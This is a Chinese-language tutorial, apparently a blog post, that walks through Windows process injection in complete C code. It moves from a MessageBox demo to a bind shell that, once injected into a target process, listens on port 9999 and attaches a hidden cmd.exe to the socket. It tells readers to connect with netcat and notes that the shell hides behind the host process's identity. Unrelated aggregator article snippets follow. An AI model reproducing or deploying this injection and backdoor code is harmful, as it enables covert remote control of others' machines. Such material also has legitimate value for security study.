1.12 进程注入ShellCode套接字

news2024/11/18 23:36:58

在笔者前几篇文章中我们一直在探讨如何利用Metasploit这个渗透工具生成ShellCode以及如何将ShellCode注入到特定进程内,本章我们将自己实现一个正向ShellCodeShell,当进程被注入后,则我们可以通过利用NC等工具连接到被注入进程内,并以对方的权限及身份执行命令,该功能有利于于Shell的隐藏。本章的内容其原理与《运用C语言编写ShellCode代码》中所使用的原理保持一致,通过动态定位到我们所需的网络通信函数并以此来构建一个正向Shell,本章节内容对Metasploit工具生成的Shell原理的理解能够起到促进作用。

读者需要理解,套接字(socket)是计算机网络中一种特殊的文件,是网络通信中的一种技术,用于实现进程之间的通信和网络中数据的传输。在网络通信中,套接字就像一条传送数据的管道,负责数据的传输和接收。而socket(套接字)是在网络通信中最常用的一种通信协议,它定义了一组用于网络通信的API。通过使用socket,程序员可以在不同的计算机之间进行通信。读者可以将两者理解为一个意思。

1.12.1 读入Kernel32模块基址

为了能让读者更清晰的认识功能实现细节,首先笔者先来实现一个简单的读取特定模块内函数的入口地址,并输出该模块地址的功能,需要注意的是,在之前的文章中笔者已经介绍了这种读取技术,当时使用的是汇编版实现,由于需要自定位代码的支持导致汇编语言的实现过于繁琐,其实此类代码在应用层实现仅仅只需要调用GetProcAddress()即可获取到核心参数,其实先细节如下所示;

#include <iostream>
#include <Windows.h>

// Kernel32 调用约定定义
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);

typedef struct _ShellBase
{
  // 针对Kernel32的操作
  HANDLE KernelHandle;        // 存储句柄
  char kernelstring[20];      // 存储字符串 kernel32.dll

  // 针对User32的操作
  HANDLE UserHandle;         // 存储句柄    
  char userstring[20];       // 存储字符串 user32.dll

  // 定义函数指针
  LOADLIBRARY KernelLoadLibrary;
  GETPROCADDRESS KernelGetProcAddress;
}ShellParametros;

int main(int argc,char *argv[])
{
  ShellParametros Param;
  
  // 得到加载基地址的工具函数
  Param.KernelHandle = LoadLibrary("kernel32.dll");
  Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");
  Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");
  
  printf("获取到Kernel32.dll = 0x%08X \n", Param.KernelHandle);

  system("pause");
  return 0;
}

这段代码主要是定义了一个结构体ShellParametros,并初始化了其中的一些参数。该结构体中定义了两个HANDLE类型的变量KernelHandleUserHandle,分别用于存储kernel32.dlluser32.dll的句柄。同时,也定义了两个字符串数组kernelstringuserstring,用于存储对应的库名。

接下来,定义了两个函数指针类型LOADLIBRARYGETPROCADDRESS,分别用于后续的动态库加载和函数导出操作。

main函数中,首先初始化了ShellParametros结构体类型的变量Param。然后,调用LoadLibrary函数加载kernel32.dll库,并通过GetProcAddress函数分别获取LoadLibraryAGetProcAddress函数的地址,并将它们赋值给Param.KernelLoadLibraryParam.KernelGetProcAddress函数指针变量。最终打印出获取到的kernel32.dll的基地址,以及等待用户按下任意键退出程序。

该代码拆分来看,首先是入口处的结构体定义部分,这部分定义了一个结构体ShellParametros,其中包含了对于kernel32.dlluser32.dll库的操作的句柄和字符串,以及相关的函数指针类型LOADLIBRARYGETPROCADDRESS

// Kernel32 调用约定定义
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);

typedef struct _ShellBase
{
    // 针对Kernel32的操作
    HANDLE KernelHandle;        // 存储句柄
    char kernelstring[20];      // 存储字符串 kernel32.dll

    // 针对User32的操作
    HANDLE UserHandle;         // 存储句柄    
    char userstring[20];       // 存储字符串 user32.dll

    // 定义函数指针
    LOADLIBRARY KernelLoadLibrary;
    GETPROCADDRESS KernelGetProcAddress;
}ShellParametros;

而在主函数中,首先声明了一个结构体变量Param,然后调用LoadLibrary函数加载kernel32.dll库,将得到的句柄存储到Param.KernelHandle中。接着通过调用GetProcAddress函数获取LoadLibraryAGetProcAddress函数的地址,将得到的函数地址分别存储到Param.KernelLoadLibraryParam.KernelGetProcAddress中。最后通过printf函数打印出获取到的Kernel32.dll的基址。

int main(int argc, char *argv[])
{
    ShellParametros Param;

    // 得到加载基地址的工具函数
    Param.KernelHandle = LoadLibrary("kernel32.dll");
    Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");
    Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");

    printf("获取到Kernel32.dll = 0x%08X \n", Param.KernelHandle);
    printf("获取到KernelLoadLibrary = 0x%08X \n", Param.KernelLoadLibrary);
    printf("获取到GetProcAddress = 0x%08X \n", Param.KernelGetProcAddress);

    system("pause");
    return 0;
}

这段代码没有任何难度,相信读者能够理解其实先的核心原理,当读者运行此段代码,则会分别输出Kernel32.dllLoadLibraryAGetProcAddress这三个模块函数的基址,输出效果如下图所示;

1.12.2 进程注入MsgBox弹窗

通过进程注入功能将一个具有自定位功能的函数的机器码注入到远程进程中,并运行输出一个弹窗,该功能的输出形式与前几章中的内容很相似,但却有本质的不同,首先前几章内容中我们注入的数据为纯粹的ShellCode代码,此类代码的缺陷在于一旦被生成则在注入时无法动态更改参数,而本章实现的注入技术则是动态填充内存并注入,从实用价值上来说本章中所演示的注入技术将更加通用及灵活。

动态弹窗的注入技术同样需要定义关键函数指针,如下将分别定义三个函数指针,这些API函数的函数指针类型定义:

  • LOADLIBRARY:LoadLibrary函数的函数指针类型,用于将动态链接库(DLL)加载到调用进程的地址空间中。
  • GETPROCADDRESS:GetProcAddress函数的函数指针类型,用于从DLL中检索导出函数或变量的地址。
  • MESSAGEBOX:MessageBox函数的函数指针类型,用于创建、显示和操作消息框。WINAPI调用约定指定了如何传递函数参数和清理堆栈。

这些函数指针类型通常用于动态加载DLL和运行时链接导出函数。通过使用这些函数指针,程序可以在运行时获取函数地址并动态调用它们。

// Kernel32 调用约定定义
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);

// User32 中针对MessageBox的调用约定定义
typedef int(WINAPI* MESSAGEBOX)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);

接着我们需要定义一个ShellParametros结构体,该结构体的作用是用与传递参数到子线程MyShell(ShellParametros* ptr)中以供其使用,当然读者也可以使用普通变量形式,只是普通变量在参数传递时没有传递结构方便快捷,如下从结构中可看出,我们分别传递kernel32.dll,LoadLibrary,GetProcAddressMessageBoxA的函数地址,并附带有该函数弹窗User_MsgBox的提示信息;

typedef struct _ShellBase
{
  // 针对Kernel32的操作
  HANDLE Kernel32Base;
  char KernelString[20]; // kernel32.dll
  
  LOADLIBRARY Kernel_LoadLibrary;
  GETPROCADDRESS Kernel_GetProcAddress;

  // 针对User32的操作
  HANDLE User32Base;
  char UserString[20];   // 存储 user32.dll 字符串
  char User_MsgBox[20];  // 存储 MessageBoxA 字符串

  // 输出一段话
  char Text[32];

}ShellParametros;

接着就是关于__stdcall MyShell(ShellParametros*);函数的封装,这是一个用于远程线程的函数定义,函数名为MyShell,采用__stdcall调用约定。该函数的参数是一个名为ptr的指向ShellParametros结构体的指针。

函数的实现包括以下步骤:

  • 1.通过调用ptr->Kernel_LoadLibrary函数动态加载指定的Kernel32User32库,并将它们的句柄保存在ptr->Kernel32Baseptr->User32Base变量中。
  • 1.使用 ptr->Kernel_GetProcAddress 函数获取 User32 库中名为 ptr->User_MsgBox 的导出函数的地址,并将其转换为 MESSAGEBOX 函数指针类型的变量 msgbox
  • 1.调用 msgbox 函数,显示 ptr->Text 变量中保存的文本内容。

该函数的作用是在远程线程中动态加载Kernel32User32库,并调用User32库中的MessageBox函数显示指定的文本内容。

void __stdcall MyShell(ShellParametros*);

// 定义远程线程函数
void __stdcall MyShell(ShellParametros* ptr)
{
  ptr->Kernel32Base = (HANDLE)(*ptr->Kernel_LoadLibrary)(ptr->KernelString);
  ptr->User32Base = (HANDLE)(*ptr->Kernel_LoadLibrary)(ptr->UserString);

  // printf("动态获取到Kernel32基地址 = %x \n", ptr->Kernel32Base);
  // printf("动态获取到User32基地址 = %x \n", ptr->User32Base);

  // MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");
  MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->Kernel_GetProcAddress)((HINSTANCE)ptr->User32Base, ptr->User_MsgBox);
  
  //printf("MessageBox 基地址 = %x \n", msgbox);
  msgbox(0, ptr->Text, 0, 0);
}

最后我们来看一下在主函数中我们需要做什么,在主函数中通过GetProcAddress函数分别得到我们所需要的函数入口地址,并通过调用strcpy函数分别将所需参数写出到ShellParametros结构体中保存,当一切准备就绪再通过OpenProcess打开远程进程,并设置一段读写执行内存空间,并调用WriteProcessMemoryMyShell函数写出到该内存中保存,最后调用CreateRemoteThread开辟远程线程,执行弹窗功能;

这段代码主要包括以下步骤:

  • 1.定义了一个ShellParametros类型的变量Param和一个指向ShellParametros结构体的指针remote,并声明了一个HANDLE类型的变量hProcess和一个void*类型的变量p
  • 2.使用LoadLibraryGetProcAddress函数获取Kernel32库中的LoadLibraryGetProcAddress函数的地址,并将其保存到Param结构体的相应字段中。
  • 3.分别将 kernel32.dlluser32.dll 的文件名字符串保存到 Param 结构体的相应字段中,并将需要注入的代码函数名和文本字符串分别保存到 Param 结构体的相应字段中。
  • 4.使用 OpenProcess 函数打开指定 PID 的进程,并分别使用 VirtualAllocEx 函数在该进程中分配内存空间,分别保存注入代码和 Param 结构体的数据。
  • 5.使用 WriteProcessMemory 函数将注入代码和 Param 结构体的数据写入到指定进程中的内存空间中。
  • 6.使用 CreateRemoteThread 函数创建一个远程线程,将注入代码的地址和 Param 结构体的地址传递给远程线程,并在指定进程中执行注入的代码。

代码的作用是在指定进程中注入代码,并调用该代码中的 MyShell 函数,该函数将动态加载 Kernel32User32 库,并调用 User32 库中的 MessageBox 函数显示指定的文本内容。

int main(int argc, char* argv[])
{
    ShellParametros Param, *remote = NULL;
    HANDLE hProcess;
    void* p = NULL;

    // 进程PID
    int ProcessID = 4016;

    // 得到加载基地址的工具函数
    Param.Kernel32Base = LoadLibrary("kernel32.dll");
    Param.Kernel_LoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.Kernel32Base, "LoadLibraryA");
    Param.Kernel_GetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.Kernel32Base, "GetProcAddress");
    // printf("获取到Kernel32.dll = %x", Param.KernelHandle);

    // 分别获取Kernel32与User32的对应字符串
    strcpy(Param.KernelString, "kernel32.dll");
    strcpy(Param.UserString, "user32.dll");

    strcpy(Param.User_MsgBox, "MessageBoxA");
    strcpy(Param.Text, "hello lyshark");

    // 根据PID注入代码到指定进程中
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);
    p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    remote = (ShellParametros*)VirtualAllocEx(hProcess, 0, sizeof(ShellParametros), MEM_COMMIT, PAGE_READWRITE);

    WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);
    WriteProcessMemory(hProcess, remote, &Param, sizeof(ShellParametros), 0);
    CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall*)(void*)) p, remote, 0, 0);

    // MyShell(&Param);
    return 0;
}

至此读者可以将上述代码编译下来,但需要注意的是,由于我们采用了动态生成ShellCode的功能,所以在使用此类代码是应关闭编译环境中的DEP及ASLR机制,否则由于地址的动态变化我们的代码将无法成功定位函数入口,也就无法注入Shell;

DEP(Data Execution Prevention)保护是一种防止攻击者在内存中执行恶意代码的技术。它通过将内存中的数据和代码区分开来,从而使得攻击者无法在数据区执行代码。DEP保护通过硬件和软件两种方式来实现。硬件实现通过CPU硬件中的NX位,禁止在数据区执行代码。软件实现通过操作系统内核检查每个进程中的内存页面的属性,禁止在非执行属性(NX)页面上执行代码。

ASLR(Address Space Layout Randomization)是一种防止攻击者利用缓冲区溢出等漏洞攻击的技术。它通过在每次程序运行时随机地分配内存地址,使得攻击者难以确定内存地址的位置,从而难以实现攻击。ASLR可以在操作系统内核、编译器和二进制代码等多个层面实现,如在编译时生成随机堆栈和堆地址、加载时随机化内存基地址等。

这两种技术都可以增强操作系统的安全性,防止恶意代码的攻击和利用。DEP保护主要针对代码执行方面,ASLR则主要针对代码和数据在内存中的分布方面。同时,两者也有一些弱点和缺陷,例如DEP保护可以被一些攻击技术绕过,ASLR的随机性可能会被暴力破解或者信息泄露等方式破坏。因此,在实际应用中需要综合考虑多种安全技术,以提高系统的安全性。

修改int ProcessID并改为被注入进程的PID=4016,然后直接运行注入程序,则读者会看到被注入进程弹出了一个MessageBox提示框,则说名我们的自定义Shell已经注入成功并运行了;

1.12.3 进程注入MyShell正向Shell

经过前面两个小案例的总结读者应该能够理解如何自己编写一个动态ShellCode注入软件了,但是上述提到的这些功能并不具备真正的意义,而本章将继续延申,并实现一种可被连接的正向ShellShell,在此案例中读者需要理解一种绑定技术,在默认情况下,Windows系统中的每一个进程都存在标准输入、输出和错误流的匿名管道,而cmd.exe进程同样存在这三种管道,要实现正向Shell,一般而言攻击者会创建一个监听指定端口的网络套接字,并将其绑定到一个命令行解释器(如 cmd.exe)的标准输入和输出流上,这样攻击者即可通过这个管道来使用远程的CMD命令行,并以此达到控制对方的目的。

将CMD绑定到套接字上通常涉及以下步骤:

  • 创建一个监听套接字,以便在客户端连接之前等待连接。监听套接字可以是TCP或UDP类型。
  • 调用bind()函数将监听套接字绑定到本地IP地址和端口上。这是让客户端知道要连接哪个地址和端口的关键步骤。
  • 调用listen()函数将监听套接字转换为被动套接字,并设置等待连接的队列的最大长度。
  • 调用accept()函数来接受客户端连接,这将创建一个新的套接字,它与客户端套接字相关联。
  • 调用CreateProcess()函数启动cmd.exe进程,并将标准输入、输出和错误流重定向到新创建的套接字上。

首先我们需要定义所需要调用的函数指针,下方代码定义了一组函数指针,每个函数指针都指向一个API函数,包括 LoadLibrary、GetProcAddress、Bind、Accept、Listen、WSAStartup、WSASocket、WSAConnect 和 CreateProcess。这些函数与动态链接库、套接字通信、网络编程、创建进程等有关。

#include <iostream>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

// 定义各种指针变量
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE, LPCSTR);

typedef int (WINAPI* BIND) (SOCKET, const struct sockaddr*, int);
typedef SOCKET(WINAPI* ACCEPT) (SOCKET, struct sockaddr*, int*);
typedef int (WINAPI* LISTEN) (SOCKET, int);
typedef int (WINAPI* WSASTARTUP) (WORD, LPWSADATA);
typedef SOCKET(WINAPI* WSASOCKET) (int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
typedef int (WINAPI* WSACONNECT) (SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);
typedef BOOL(WINAPI* CREATEPROCESS) (LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL,DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);

接着我们需要在原始ShellParametros中进行扩充,根据所需函数的多少来定义承载该函数内存地址的指针类型;

typedef struct
{
  HANDLE          KernelHandle;
  char            kernelstring[20];        // 存储kernel32.dll字符串
  char            CreateProcessstring[20]; // 存放函数名字字符串
  LOADLIBRARY     KernelLoadLibrary;
  GETPROCADDRESS  KernelGetProcAddress;
  CREATEPROCESS   KernelCreateProcess;

  HANDLE      WSAHandle;
  char        wsastring[20];
  char        wsastartupstring[20];
  char        WSASocketString[20];
  char        WSAConnectstring[20];
  char        bindstring[20];
  char        acceptstring[10];
  char        listenstring[10];
  
  WSASTARTUP  ShellWsaStartup;
  ACCEPT      ShellAccept;
  BIND        ShellBind;
  WSACONNECT  ShellWsaConnect;
  WSASOCKET   ShellWSASocket;
  LISTEN      ShellListen;

  unsigned short port;
  char cmd[255];
} PARAMETROS;

接着再来看核心MyShellShell实现函数,如下代码实现了一个远程Shell,通过动态链接库实现对API函数的调用。

首先,通过调用 LoadLibraryGetProcAddress 函数,获取到 ws2.dllkernel32.dll 中的函数地址,分别是 WSAStartup、WSASocket、WsaConnect、Bind、Accept、Listen、CreateProcess。

然后,通过调用 WSAStartup 函数初始化套接字编程,创建一个套接字,并绑定在一个端口。通过 Listen 函数监听连接请求,并使用 Accept 函数接收连接请求。

当有连接请求时,使用 CreateProcess 函数创建一个进程,并将标准输入、输出和错误重定向到网络套接字,实现远程 Shell。

// 调用的远程Shell代码
void __stdcall MyShell(PARAMETROS* ptr)
{
  STARTUPINFO si;
  struct sockaddr_in sa;
  PROCESS_INFORMATION pi;
  int s, n;
  WSADATA HWSAdata;

  // 通过GetProcAddress获取到ws2.dll中的所有函数地址
  ptr->WSAHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->wsastring);
  ptr->ShellWsaStartup = (WSASTARTUP)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->wsastartupstring);
  ptr->ShellWSASocket = (WSASOCKET)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSASocketString);
  ptr->ShellWsaConnect = (WSACONNECT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSAConnectstring);
  ptr->ShellBind = (BIND)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->bindstring);
  ptr->ShellAccept = (ACCEPT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->acceptstring);
  ptr->ShellListen = (LISTEN)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->listenstring);

  // 通过GetProcAddress获取到kernel32.dll中的所有函数地址
  ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);
  ptr->KernelCreateProcess = (CREATEPROCESS)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->KernelHandle, ptr->CreateProcessstring);
  ptr->ShellWsaStartup(0x101, &HWSAdata);
  
  s = ptr->ShellWSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
  sa.sin_family = AF_INET;
  sa.sin_port = ptr->port;
  sa.sin_addr.s_addr = 0;
  ptr->ShellBind(s, (struct sockaddr*)&sa, 16);
  ptr->ShellListen(s, 1);

  while (1)
  {
    n = ptr->ShellAccept(s, (struct sockaddr*)&sa, NULL);
    si.cb = sizeof(si);
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES; // 0x101
    si.hStdInput = si.hStdOutput = si.hStdError = (void*)n;
    si.lpDesktop = si.lpTitle = (char*)0x0000;
    si.lpReserved2 = NULL;
    ptr->KernelCreateProcess(NULL, ptr->cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&si, &pi);
  }
}

最后再来看一下实现调用的主函数,代码中通过argv[1]也就是命令行参数传递,并绑定到(unsigned short)9999端口上,通过GetProcAddress依次获取所需函数内存地址并使用strcpy初始化结构体PARAMETROS,最后直接调用CreateRemoteThread实现线程Shell反弹。

  • 通过 LoadLibrary 和 GetProcAddress 函数获取到 kernel32.dll 中 LoadLibrary 和 GetProcAddress 函数的地址。然后,通过 strcpy 函数初始化一个 PARAMETROS 结构体,并填充该结构体的各个字段。
  • 通过 OpenProcess 函数打开目标进程,使用 VirtualAllocEx 函数在目标进程中分配内存,并使用 WriteProcessMemory 函数将代码和参数复制到目标进程的内存中。
  • 通过 CreateRemoteThread 函数在目标进程中创建一个线程,并将线程的入口点设置为 MyShell 函数,这样就实现了进程注入。
int main(int argc, char* argv[])
{
  void* p = NULL;
  HANDLE hProcess;
  PARAMETROS parametros, * remote;
    
  if (argc == 2)
  {
    int PID = atoi(argv[1]);
    memset((void*)&parametros, 0, sizeof(PARAMETROS));
    strncpy(parametros.cmd, "cmd", sizeof("cmd") - 1);
    parametros.port = htons((unsigned short)9999);

    printf("[-] PID = %d \n", PID);
    // 获取到动态链接库加载函数地址
    parametros.KernelHandle = LoadLibrary("kernel32.dll");
    parametros.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle, "LoadLibraryA");
    parametros.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)parametros.KernelHandle, "GetProcAddress");

    // 拷贝 winsock 字符串
    strcpy(parametros.wsastring, "ws2_32.dll");
    strcpy(parametros.wsastartupstring, "WSAStartup");
    strcpy(parametros.WSASocketString, "WSASocketW");
    strcpy(parametros.WSAConnectstring, "WSAConnect");
    strcpy(parametros.bindstring, "bind");
    strcpy(parametros.acceptstring, "accept");
    strcpy(parametros.listenstring, "listen");

    // 拷贝 kernel32 字符串
    strcpy(parametros.kernelstring, "kernel32.dll");
    strcpy(parametros.CreateProcessstring, "CreateProcessA");

    // 开始注入代码
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    remote = (PARAMETROS*)VirtualAllocEx(hProcess, 0, sizeof(parametros), MEM_COMMIT, PAGE_READWRITE);

    WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);
    WriteProcessMemory(hProcess, remote, &parametros, sizeof(PARAMETROS), 0);
    CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall*)(void*)) p, remote, 0, 0);
    // CreateRemoteThread(hProcess, 0, 0, (DWORD(WINAPI *)(void *)) p, remote, 0, 0);
    printf("[+] 已注入进程 %d \n", PID);
  }
  return 0;
}

编译上述代码片段,并找到对应进程PID,通过参数MyShell.exe 8624传入被注入进程PID号,当注入成功后,会提示进程请求联网,此时一个不具备网络通信功能的进程,因我们注入了ShllShell,则自然就具备了网络通信的能力,如下图所示;

此时读者可下载32位版本的NC,通过使用执行命令nc [远程IP地址] [端口]连接到进程内部;

小提示:Netcat是一款网络工具,也称为nc工具,可以在不同的计算机之间进行数据传输。它可以在命令行中使用,并支持TCP/IP和UDP协议,其被誉为黑客界的瑞士军刀,是每个安全从业者不可或缺的利器。
官方网站:https://eternallybored.org/misc/netcat/

当连接到进程内部则会反弹一个CMDShell此时在该CMD下的所有操作都会被标记为宿主进程的操作。

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/3e10758e.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/962365.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

内存泄漏的原因

内存泄漏的原因 静态集合类引起内存泄漏 静态集合的生命周期和 JVM 一致&#xff0c;所以静态集合引用的对象不能被释放。 public class OOM {static List list new ArrayList(); ​public void oomTests(){Object obj new Object();list.add(obj);} } 单例模式 和上面的例子…

【Vue3 知识第五讲】条件渲染、列表渲染知识详解

文章目录 一、条件渲染1.1 概述1.2 演示代码 二、列表渲染2.1 使用 指令 v-for 遍历数组2.2 **使用 指令 v-for 遍历对象** 十、案例作业十一、总结 在前端开发过程中&#xff0c;条件和循环是经常被用到的逻辑。vue中封装了自己的组件渲染指令&#xff0c;可以更加方便的帮助开…

vue2 vuex

一、Vuex 概述 Vuex 是一个 Vue 的 状态管理工具&#xff0c;状态就是数据。 大白话&#xff1a;Vuex 是一个插件&#xff0c;可以帮我们管理 Vue 通用的数据 (多组件共享的数据)。 使用场景 某个状态 在 很多个组件 来使用 (个人信息) 多个组件 共同维护 一份数据 (购物车) …

Go framework-go-zero

一、Go Go天然适配云原生&#xff0c;而云原生时代已经到来&#xff0c;各个应用组件基础设施等都应该积极的去拥抱云原生。 不要让框架束缚开发。 1、go-zero介绍 go-zero 是一个集成了各种工程实践的 web 和 rpc 框架。通过弹性设计保障了大并发服务端的稳定性&#xff0c;…

新唐nuc980-串口测试笔记

测试新唐nuc980串口功能的过程&#xff0c;如下&#xff1a; 1. 直接下载使用官方的ubuntu系统。 2. 直接使用官方的文件&#xff0c;在家目录下 NUC970_Buildroot 目录下或者自己git clone NUC970_Buildroot 工程也可以&#xff0c;克隆地址如下&#xff1a; git clone https:…

Revit SDK 介绍:AutoRoute 自动路由

前言 这个例子介绍如何用 Revit API 创建自动路由&#xff0c;本质上就是通过 API 创建机电管道。 内容 将出风口和风机自动连接&#xff0c;最终效果。 下面按步骤将其组装起来&#xff1a; 风机立管及连接件 生成红框内容的核心逻辑&#xff1a; ducts.Add(Duct.Create…

Ei Scopus 双检索 |第三届信息与通信工程国际会议国际会议(JCICE 2024)

会议简介 Brief Introduction 2024年第三届信息与通信工程国际会议国际会议(JCICE 2024) 会议时间&#xff1a;2024年5月10日-12日 召开地点&#xff1a;中国福州 大会官网&#xff1a;JCICE 2024-2024 International Joint Conference on Information and Communication Engin…

结构体的简单介绍

目录 概念&#xff1a; 与数组类比&#xff1a; 结构体声明&#xff1a; 注意&#xff1a; 结构体变量、全局变量、局部变量&#xff1a; 结构体声明中包含其他结构体变量&#xff1a; 结构体变量的初始化&#xff1a; 包含了其他结构体变量的初始化&#xff1a; 结构体…

报错:axios 发送的接口请求 404

axios 发送的接口请求 404 一、问题二、分析 一、问题 二、分析 axios 发送的接口请求 404&#xff0c;根本没有把接口信息发送到后端&#xff0c;这个时候你可以查看检查一下自己的接口名字&#xff0c;或让后端配合换一个接口名字再发送一次接口请求

性能提升5倍!翼支付基于多租户的降本增效实践

作者&#xff1a;王硕 中国电信翼支付 DBA 翼支付是天翼电子商务有限公司旗下第三方服务平台&#xff0c;面向 7000 万月活用户&#xff0c;提供民生缴费、消费购物、金融理财等服务内容&#xff0c;依托云计算、大数据、人工智能等技术&#xff0c;联合合作伙伴&#xff0c;赋…

Python操作文件的读取和写入,详解和案例介绍

Python文件IO操作是Python编程中非常重要的一部分&#xff0c;可以通过文件IO操作来读取和写入文件。文件IO操作提供了一种在程序中处理文件的方法&#xff0c;可以读取文件中的数据&#xff0c;也可以将数据写入到文件中。在本文中&#xff0c;我们将介绍Python中文件IO操作的…

【一对一学习小组】2023年有三AI-CV高阶-项目实战组发布,超过30个案例,60小时项目实战+2大基础方向专栏+3本书赠送...

2023年有三AI-CV高阶-项目实战组正式发布&#xff01;有三AI已经推出了CV初-中-高级培养计划&#xff08;原名有三AI-CV季划&#xff09;&#xff0c;这是我们的终身计算机视觉学习小组。 该培养计划具有以下特点&#xff1a; 【系统性】配套有非常完备的理论与实践 【永久性】…

stable diffusion实践操作-SD原理

本文专门开一节写提示词相关的内容&#xff0c;在看之前&#xff0c;可以同步关注&#xff1a; stable diffusion实践操作 正文 1、出图原理 1.1 AI画画不是和人一样&#xff0c;从0开始&#xff0c;而是一个去噪点的过程&#xff1a; 1.2 逆向去噪 所有的人图片都是从一张噪…

大型商城系统功能逻辑架构_各大系统关系设计_OctShop

一个商城系统应该具备什么样的功能才算一个合格的网上商城呢&#xff0c;才能满意用户的下单支付&#xff0c;退款退货&#xff0c;售后等需求呢&#xff01; 商城一般分为三种角色&#xff1a;买家&#xff0c;商家&#xff0c;平台&#xff0c;这三种角色都有各自的功能特点。…

记录--前端使用a链接下载内容增加loading效果

这里给大家分享我在网上总结出来的一些知识&#xff0c;希望对大家有所帮助 问题描述&#xff1a;最近工作中出现一个需求&#xff0c;纯前端下载 Excel 数据&#xff0c;并且有的下载内容很多&#xff0c;这时需要给下载增加一个 loading 效果。 代码如下&#xff1a; // util…

2023_Spark_实验六:Scala面向对象部分演示(二)(IDEA开发)

7、Scala中的apply方法&#xff08;&#xff09; 遇到如下形式的表达式时&#xff0c;apply方法就会被调用&#xff1a; Object(参数1,参数2,......,参数N) 通常&#xff0c;这样一个apply方法返回的是伴生类的对象&#xff1b;其作用是为了省略new关键字 Object的apply方法…

我开课了!《机器学习》公益课9月4日开课

我是黄海广&#xff0c;大学老师&#xff0c;我上的一门课叫《机器学习》&#xff0c;本科生学机器学习有点难&#xff0c;但也不是没有可能&#xff0c;我在摸索中&#xff0c;设计适合本科生的机器学习课程&#xff0c;写了教材&#xff0c;录了视频&#xff0c;做了课件。我…

如何使用SQL系列 之 了解SQL中的约束规则

简介 在设计数据库时&#xff0c;有时可能需要对某些列中允许的数据设置限制。例如&#xff0c;如果你要创建一张表来保存摩天大楼的信息&#xff0c;你可能希望在保存每座大楼高度的列中禁止使用负值。 关系型数据库管理系统(RDBMS)允许你使用约束来控制哪些数据被添加到表中…

PID 算法

1.1 概述 比例&#xff08;Proportion&#xff09;积分&#xff08;Integral&#xff09;微分&#xff08;Differential&#xff09;控制器&#xff08;PID控制器或三项控制器&#xff09;是一种采用反馈的控制回路机制&#xff0c;广泛应用于工业控制系统和需要连续调制控制的…

ArrayList(扩容机制)

文章目录 一、前言二、ArrayList扩容机制1、适用于什么场景&#xff1f;2、ArrayList特点3、ArrayList扩容机制3.1、内存分配的效率&#xff1a;3.2、数据迁移的代价3.3、性能和空间的平衡 三、总结 一、前言 对于ArrayList集合可能大家并不陌生&#xff0c;但ArrayList集合的…